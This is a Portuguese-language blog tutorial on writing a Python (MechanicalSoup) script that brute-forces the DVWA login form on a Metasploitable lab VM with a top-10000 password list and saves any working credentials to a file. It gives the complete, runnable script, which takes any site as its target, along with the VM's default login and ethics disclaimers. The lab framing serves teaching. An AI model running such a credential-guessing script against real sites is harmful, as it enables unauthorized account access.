Ataque Cibernético: Crie Seu Próprio Teste de Vulnerabilidade em 7 Passos

Proteja-se contra vulnerabilidades cibernéticas! Aprenda como criar seu próprio script Python para testar a segurança do seu site. 🚀 #SegurançaDigital #TesteDeVulnerabilidade
Ataque Cibernético: Crie Seu Próprio Teste de Vulnerabilidade em 7 Passos

A segurança online tornou-se uma prioridade crítica, especialmente à medida que a tecnologia avança. Sites e aplicativos da web estão constantemente sob ameaça de ataques cibernéticos, tornando essencial para os desenvolvedores e administradores de sistemas garantir a robustez de suas defesas. Neste artigo, exploraremos uma abordagem prática para teste de vulnerabilidade de sites usando Python.

O que é Teste de Vulnerabilidade?

O teste de vulnerabilidade desempenha um papel crucial ao identificar e corrigir fragilidades em sistemas antes de se tornarem alvos de ataques. Essa prática é essencial para fortalecer a segurança do seu site, sistema e banco de dados, garantindo a proteção de informações sensíveis. Ao realizar esses testes de forma proativa, você não apenas mitigará possíveis ameaças, mas também manterá a confiança dos usuários em relação à integridade e segurança dos seus sistemas digitais.

⚠ Aviso Importante: Teste de Vulnerabilidade para Fins Educativos!

Este blog irá fornecer um exemplo de script para teste de vulnerabilidade de sites com o objetivo exclusivo de fins acadêmicos e educacionais. O intuito é promover a compreensão das práticas de segurança cibernética, incentivar o aprendizado e aumentar a conscientização sobre possíveis ameaças online.

É crucial ressaltar que o uso indevido das informações apresentadas neste blog, especialmente para práticas maliciosas ou acesso não autorizado a sites de terceiros, é estritamente proibido e contra a ética. Qualquer atividade não autorizada em sistemas ou redes sem permissão explícita é ilegal e sujeita a penalidades legais.

Responsabilidade do Usuário

O leitor é inteiramente responsável por qualquer uso indevido das informações fornecidas. O blog e seus autores não endossam nem incentivam atividades ilegais, invasões de privacidade ou qualquer outra forma de comportamento prejudicial. O teste de vulnerabilidade deve ser realizado apenas em sistemas para os quais você tem permissão explícita e legal.

Isenção de Responsabilidade

O blog e seus autores não assumem responsabilidade por quaisquer consequências resultantes do uso indevido das informações fornecidas. Isso inclui, mas não se limita a, danos a sistemas, perda de dados, questões legais ou qualquer outra forma de responsabilidade. O leitor é incentivado a agir com ética e responsabilidade ao aplicar o conhecimento adquirido através deste blog.

Ambiente de desenvolvimento

Para esse experimento vamos utilizar uma máquina virtual chamada Metasploitable que é uma plataforma de teste de segurança projetada especificamente para facilitar o treinamento e a prática em testes de vulnerabilidade e exploração. Criada pela Metasploit, uma estrutura de código aberto usada para desenvolver, testar e executar exploits em sistemas, a Metasploitable é projetada para simular uma variedade de vulnerabilidades de segurança em um ambiente controlado. Clique aqui para fazer o download da maquina.

Principais características e uso da Metasploitable

  1. Propósito Educacional:
    • A Metasploitable é desenvolvida principalmente para fins educacionais, permitindo que profissionais de segurança, estudantes e entusiastas pratiquem técnicas de teste de vulnerabilidade de maneira ética e controlada.
  2. Simulação de Vulnerabilidades:
    • A máquina virtual é configurada com uma série de vulnerabilidades intencionais, como falhas de configuração, serviços desatualizados e configurações de segurança fracas. Isso cria um ambiente realista para testes de exploração e penetração.
  3. Variedade de Serviços:
    • Oferece uma ampla gama de serviços vulneráveis, incluindo servidores web, bancos de dados, serviços de e-mail e outros aplicativos comumente encontrados em ambientes corporativos.
  4. Integração com Metasploit Framework:
    • É projetada para funcionar em conjunto com o Metasploit Framework, uma ferramenta poderosa usada para desenvolver e executar exploits. Isso permite que os usuários pratiquem a identificação de vulnerabilidades e a execução de exploits de maneira segura.
  5. Experiência Prática:
    • Ao interagir com a Metasploitable, os profissionais de segurança podem ganhar experiência prática na identificação, exploração e correção de vulnerabilidades. Isso é crucial para desenvolver habilidades e conhecimentos práticos no campo da segurança cibernética.

Uso Responsável

  • É importante ressaltar que, assim como qualquer ferramenta de teste de segurança, o uso da Metasploitable deve ser feito de maneira ética e legal. Utilizar a máquina virtual em ambientes não autorizados ou para explorar sistemas sem permissão explícita é estritamente proibido.

Desenvolvimento do Teste de Vulnerabilidade

Agora que compreendemos a relevância do teste de vulnerabilidade e abordamos a responsabilidade associada ao uso inadequado, vamos agora detalhar os passos essenciais para criar o nosso script.

1. Identificar o IP da Maquina Virtual

Após a instalação e configuração da máquina virtual Metasploitable, o próximo passo consiste em identificar o endereço IP da máquina. Para alcançar esse objetivo, procederemos com o login na máquina utilizando as credenciais padrão de usuário e senha.

user : msfdamin
password: msfadmin

Ao acessar a máquina, utilize o comando ‘ip a’ para identificar o endereço IP da máquina virtual.

Observe que o endereço IP da minha máquina é 192.168.0.19/24. Entretanto, esse valor pode variar de acordo com a configuração de rede que você está utilizando. Portanto, não se preocupe se o seu endereço IP estiver em uma faixa diferente. Importante ressaltar que, para obter acesso direto, é necessário configurar as opções de rede como “bridged”. Clique aqui para acessar o tutorial para instalação da maquina Metasploitable.

2. Identificação da Página-Alvo para Teste de Vulnerabilidade

Agora que já identificamos o nosso endereço IP, o próximo passo é localizar a página na qual pretendemos submeter o script para realizar o teste de vulnerabilidade. Para isso, basta digitar o endereço IP no navegador de sua preferência e acessar a página DVWA.

3. Identificação do Formulário

Ao entrar na página DVWA, nosso próximo passo é encontrar os campos nos quais inseriremos os dados de usuário e senha para realizar o teste de vulnerabilidade. Em nossa análise, identificamos dois campos específicos: “Username” e “Password”.

4. Identificação de Tags HTML para Script de Teste de Vulnerabilidade

Para coletar as tags HTML de identificação do formulário, você pode seguir os passos abaixo:

  1. Inspecionar Elemento:
    • Abra a página DVWA no seu navegador.
    • Clique com o botão direito na área onde estão localizados os campos de “Username” e “Password”.
    • Selecione a opção “Inspecionar” ou “Inspecionar Elemento” no menu de contexto.
  2. Identificação de Tags HTML:
    • Na janela de inspeção, procure pela tag <form>. Esta tag geralmente envolve todo o formulário.
    • Dentro da tag <form>, localize os elementos <input> que representam os campos de “Username” e “Password”.
  3. Atributos de Identificação:
    • Verifique os atributos dos elementos <input> para identificar marcadores únicos, como id ou name. Esses atributos são frequentemente usados para referenciar os campos em scripts ou códigos.

Neste experimento, conseguimos mapear as seguintes informações cruciais:

Formulário = form action="login.php" method="post"
user= <input type="text" class="loginInput" size="20" name="username">
senha = <input type="password" class="loginInput" autocomplete="off" size="20" name="password">

Esses dados são de extrema utilidade, pois servirão como a chave de acesso essencial na criação do nosso script. A identificação precisa das tags e de seus nomes é de suma importância para o sucesso da empreitada.

5. Criação do Script de Teste de Vulnerabilidade


Agora que identificamos a página-alvo e coletamos todos os dados necessários para o teste, é hora de iniciar efetivamente o desenvolvimento do nosso script em Python.

Passo 1: Instalando a biblioteca MechanicalSoup

A biblioteca Python chamada MechanicalSoup é uma ferramenta poderosa para automatizar a interação com páginas da web. Ela combina funcionalidades de duas outras bibliotecas populares, BeautifulSoup e Requests, facilitando assim a extração de dados e a realização de ações em páginas da web de forma programática. Para saber como instalar e importar uma biblioteca em python clique aqui.

import mechanicalsoup
Passo 2: Informar usuário e página alvo


Existem várias maneiras de fornecer os dados. Por exemplo, podemos realizar atribuições diretamente:

site = 'http://192.168.0.19/dvwa/login.php'
user = 'admin'   

Alternativamente, podemos solicitar ao usuário que insira manualmente:

user = input("Digite o nome de usuário: ")
site = input("Informe o site: ")

Essas opções oferecem flexibilidade, permitindo que os dados sejam fornecidos de maneira fixa ou interativa, conforme necessário.

Passo 3: Coletando Lista de Passwords

Agora, no terceiro passo, vamos criar uma lista de senhas que será utilizada durante o teste de vulnerabilidade. A proposta é verificar se alguma senha dessa lista foi empregada com sucesso no formulário da página-alvo. Este processo é crucial para avaliar a segurança do sistema em relação a diferentes combinações de senhas.

Para este experimento, optaremos por duas listas de senhas: fasttrack.txt e 10-million-password-list-top-10000.txt. O conteúdo dessas listas está disponível nos botões. É essencial destacar que essas listas foram obtidas na internet, e cabe ao usuário decidir qual delas deseja utilizar no teste de vulnerabilidade.

Passo 4: Incorporação de Senhas no Script

Após baixar o arquivo txt, o próximo passo consiste em incorporar o conteúdo do arquivo diretamente à estrutura do script. Utilizaremos o seguinte código para isso:

caminho_arquivo = '../datasets/10-million-password-list-top-10000.txt'

with open(caminho_arquivo, 'r') as arquivo:
    # Lê as linhas do arquivo
    lista_passwords = arquivo.readlines()

Este código em Python realiza a leitura de um arquivo de texto que contém senhas.

  1. caminho_arquivo = '../datasets/10-million-password-list-top-10000.txt': Define o caminho do arquivo de senhas.
  2. with open(caminho_arquivo, 'r') as arquivo:: Abre o arquivo em modo de leitura ('r'). O uso de with garante o fechamento automático do arquivo após a leitura.
  3. lista_passwords = arquivo.readlines(): Lê todas as linhas do arquivo e armazena em uma lista chamada lista_passwords. Cada elemento da lista corresponde a uma linha do arquivo.

É importante notar que o caminho do arquivo pode variar de acordo com a sua configuração específica. Certifique-se de ajustar o caminho conforme necessário para refletir o local exato do arquivo em seu sistema.

Dentro do projeto, há três pastas distintas: Config, datasets e src. A pasta Config contém configurações e instruções para a execução do script. A pasta datasets abriga os arquivos .txt necessários, enquanto src guarda os scripts do projeto, incluindo um arquivo .py e um arquivo .ipynb (Jupyter Notebook).

O Jupyter Notebook é uma ferramenta de código aberto para criar documentos interativos que combinam código, visualizações e texto. Amplamente utilizado em ciência de dados e aprendizado de máquina, fornece um ambiente flexível para explorar e comunicar resultados de forma interativa.

Passo 5: Acessando Página Alvo

Agora, com as senhas carregadas, é hora de navegar até a página-alvo. Utilizaremos a biblioteca MechanicalSoup para facilitar essa interação. Veja o código abaixo:

browser = mechanicalsoup.StatefulBrowser()
browser.open(site)

Esse trecho cria uma instância de um navegador do MechanicalSoup e o utiliza para abrir a página definida pela variável site. Essa etapa prepara o terreno para a submissão automatizada das senhas no formulário da página-alvo.

Passo 6: Registro de Credenciais em Arquivo

Nesta etapa, implementamos uma função que registra as credenciais que obtiveram sucesso durante o teste.

def gera_arquivo(user, password):
    # Define o nome do arquivo
    nome_arquivo = '../datasets/credenciais.txt'

    # Abre o arquivo para escrita usando 'with open'
    with open(nome_arquivo, 'w') as arquivo:
        # Escreve as variáveis no arquivo
        arquivo.write(f'user: {user}\n')
        arquivo.write(f'key: {password}\n')

    print(f"As credenciais foram salvas no arquivo '{nome_arquivo}'.")

Essa função chamada gera_arquivo tem como objetivo criar um arquivo de texto (.txt) para armazenar o usuário e a senha que obtiveram sucesso durante o teste de vulnerabilidade.

  1. Definição do Nome do Arquivo:
    • nome_arquivo = '../datasets/credenciais.txt': Define o nome e o local do arquivo onde as credenciais serão armazenadas.
  2. Abertura do Arquivo:
    • with open(nome_arquivo, 'w') as arquivo:: Abre o arquivo em modo de escrita (‘w’) usando a estrutura with open, garantindo o fechamento automático após a escrita.
  3. Escrita no Arquivo:
    • arquivo.write(f'user: {user}\n') e arquivo.write(f'key: {password}\n'): Escreve as variáveis user e password no arquivo, formatadas para facilitar a leitura.
  4. Mensagem de Confirmação:
    • print(f"As credenciais foram salvas no arquivo '{nome_arquivo}'."): Imprime uma mensagem indicando que as credenciais foram salvas com sucesso no arquivo especificado.
Passo 7: Detecção de Vulnerabilidades

Nesta fase crítica do experimento, iniciamos a busca por vulnerabilidades. A função busca_vulnerabilidade desempenha um papel fundamental, interagindo com o formulário de login da página-alvo e testando cada senha da lista previamente carregada.

def busca_vulnerabilidade():
    num_password = 0
    for password in lista_passwords:
        num_password += 1
        browser.select_form('form[action="login.php"]')
        browser['username'] = user
        browser['password'] = password.strip()
        browser.submit_selected()

        resposta_site = browser.get_url()
        if (resposta_site != site):
            print(f''' 
            --------------------------------------------------------------------
            Foi encontrado a vulnerabilidade no site: {resposta_site}
            Usuário com vulnerabilidade: {user}
            Senha: {password}
            --------------------------------------------------------------------
            ''' 
            )
            gera_arquivo(user, password)
            break
        else:
            print(f'''
            Acessando: {resposta_site}
            Password: {num_password} - Testando senha: {password}''')

Essa função desempenha um papel crucial na detecção de vulnerabilidades, alertando sobre possíveis falhas na segurança do site.

  1. Inicialização e Contador:
    • num_password = 0: Inicia um contador para rastrear o número de senhas testadas.
  2. Loop de Senhas:
    • Itera sobre cada senha na lista previamente carregada.
  3. Interage com o Formulário:
    • browser.select_form('form[action="login.php"]'): Seleciona o formulário de login da página-alvo.
  4. Submissão de Senha:
    • browser['username'] e browser['password']: Preenche o formulário com o usuário (user) e a senha atual do loop.
    • browser.submit_selected(): Submete o formulário.
  5. Análise da Resposta:
    • resposta_site = browser.get_url(): Obtém a URL após a submissão do formulário.
  6. Detecção de Vulnerabilidade:
    • Compara a URL atual com a URL da página-alvo.
    • Se diferentes, indica uma vulnerabilidade e imprime os detalhes, salvando as credenciais no arquivo. O teste é interrompido.
    • Caso contrário, exibe informações sobre o teste em andamento.

Executando Teste de Vulnerabilidade

Agora que você entendeu completamente a estrutura e o funcionamento do script de teste de vulnerabilidade, basta chamar a função para realizar o teste no site. Para isso, abra o terminal, acesse a pasta onde você produziu o código e execute o seguinte comando:

python teste_vulnerabilidade.py 

ou

py teste_vulnerabilidade.py 

Insira o código do usuário e defina a página alvo para ver a ‘mágica’ acontecer.

Ao final, você terá o arquivo gerado com as credenciais encontradas, incluindo a senha vulnerável.

Feito! Você implementou com sucesso um teste de vulnerabilidade! ⭐⭐⭐

O script completo você encontra abaixo:

import mechanicalsoup

user = input("Digite o nome de usuário: ")
site = input("Informe o site: ")

browser = mechanicalsoup.StatefulBrowser()
browser.open(site)

caminho_arquivo = '../datasets/10-million-password-list-top-10000.txt'

with open(caminho_arquivo, 'r') as arquivo:
    # Lê as linhas do arquivo
    lista_passwords = arquivo.readlines()


def gera_arquivo(user, password):
    # Define o nome do arquivo
    nome_arquivo = '../datasets/credenciais.txt'

    # Abre o arquivo para escrita usando 'with open'
    with open(nome_arquivo, 'w') as arquivo:
        # Escreve as variáveis no arquivo
        arquivo.write(f'user: {user}\n')
        arquivo.write(f'key: {password}\n')

    print(f"As credenciais foram salvas no arquivo '{nome_arquivo}'.")


def busca_vulnerabilidade():
    num_password = 0
    for password in lista_passwords:
        num_password += 1
        browser.select_form('form[action="login.php"]')
        browser['username'] = user
        browser['password'] = password.strip()
        browser.submit_selected()

        resposta_site = browser.get_url()
        if (resposta_site != site):
            print(f''' 
            --------------------------------------------------------------------
            Foi encontrado a vulnerabilidade no site: {resposta_site}
            Usuário com vulnerabilidade: {user}
            Senha: {password}
            --------------------------------------------------------------------
            ''' 
            )
            gera_arquivo(user, password)
            break
        else:
            print(f'''
            Acessando: {resposta_site}
            Password: {num_password} - Testando senha: {password}''')


busca_vulnerabilidade()

A Importância de Senhas de Segurança Robustas

Conforme observamos neste experimento, a quebra da senha foi surpreendentemente simples. Este cenário destaca a importância vital de reconhecer e valorizar a criação e manutenção de senhas de segurança robustas. Senhas sólidas desempenham um papel fundamental como a primeira linha de defesa contra ameaças cibernéticas e intrusões não autorizadas. É crucial refletir sobre a necessidade de fortalecer nossa segurança online por meio de práticas eficazes de gerenciamento de senhas.

Clique aqui para ler mais sobre a importância de senhas seguras e estratégias para criá-las.

Conclusão

Ao longo deste artigo, exploramos a criação de um script em Python para testar vulnerabilidades em sites, destacando a importância de fins educativos e acadêmicos. Cada passo, desde a identificação da página-alvo até a detecção de possíveis vulnerabilidades, foi abordado de forma a promover a compreensão das práticas de segurança cibernética.

É crucial ressaltar que as informações compartilhadas e os scripts desenvolvidos têm como único propósito educacional. O objetivo é fornecer insights sobre a importância da segurança online, incentivando o aprendizado e a conscientização.

Alertamos veementemente contra o uso indevido desses conhecimentos para práticas maliciosas ou acesso não autorizado a sistemas. O desenvolvimento e aplicação de scripts de teste de vulnerabilidade devem ocorrer apenas em ambientes controlados e com permissão explícita. O uso inadequado dessas técnicas é ilegal e sujeito a penalidades legais.

Em um mundo digital cada vez mais interconectado, a segurança cibernética é uma responsabilidade compartilhada. Encorajamos todos a buscar conhecimento ético, promovendo práticas seguras e contribuindo para um ambiente online mais protegido.

Lembre-se: conhecimento é poder, e com esse poder vem a responsabilidade de utilizá-lo para o bem. A segurança cibernética é uma busca constante pela proteção, e nossa contribuição deve ser sempre guiada pela ética e pelo respeito à integridade digital.

Agradeço por seguir este post até o final. Espero que o conteúdo tenha sido simples, claro e objetivo para todos. Não hesite em compartilhar e deixar seu comentário – gostaria de saber se tudo ficou compreensível e se você conseguiu replicar.

Um grande abraço

Compartilhe!

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *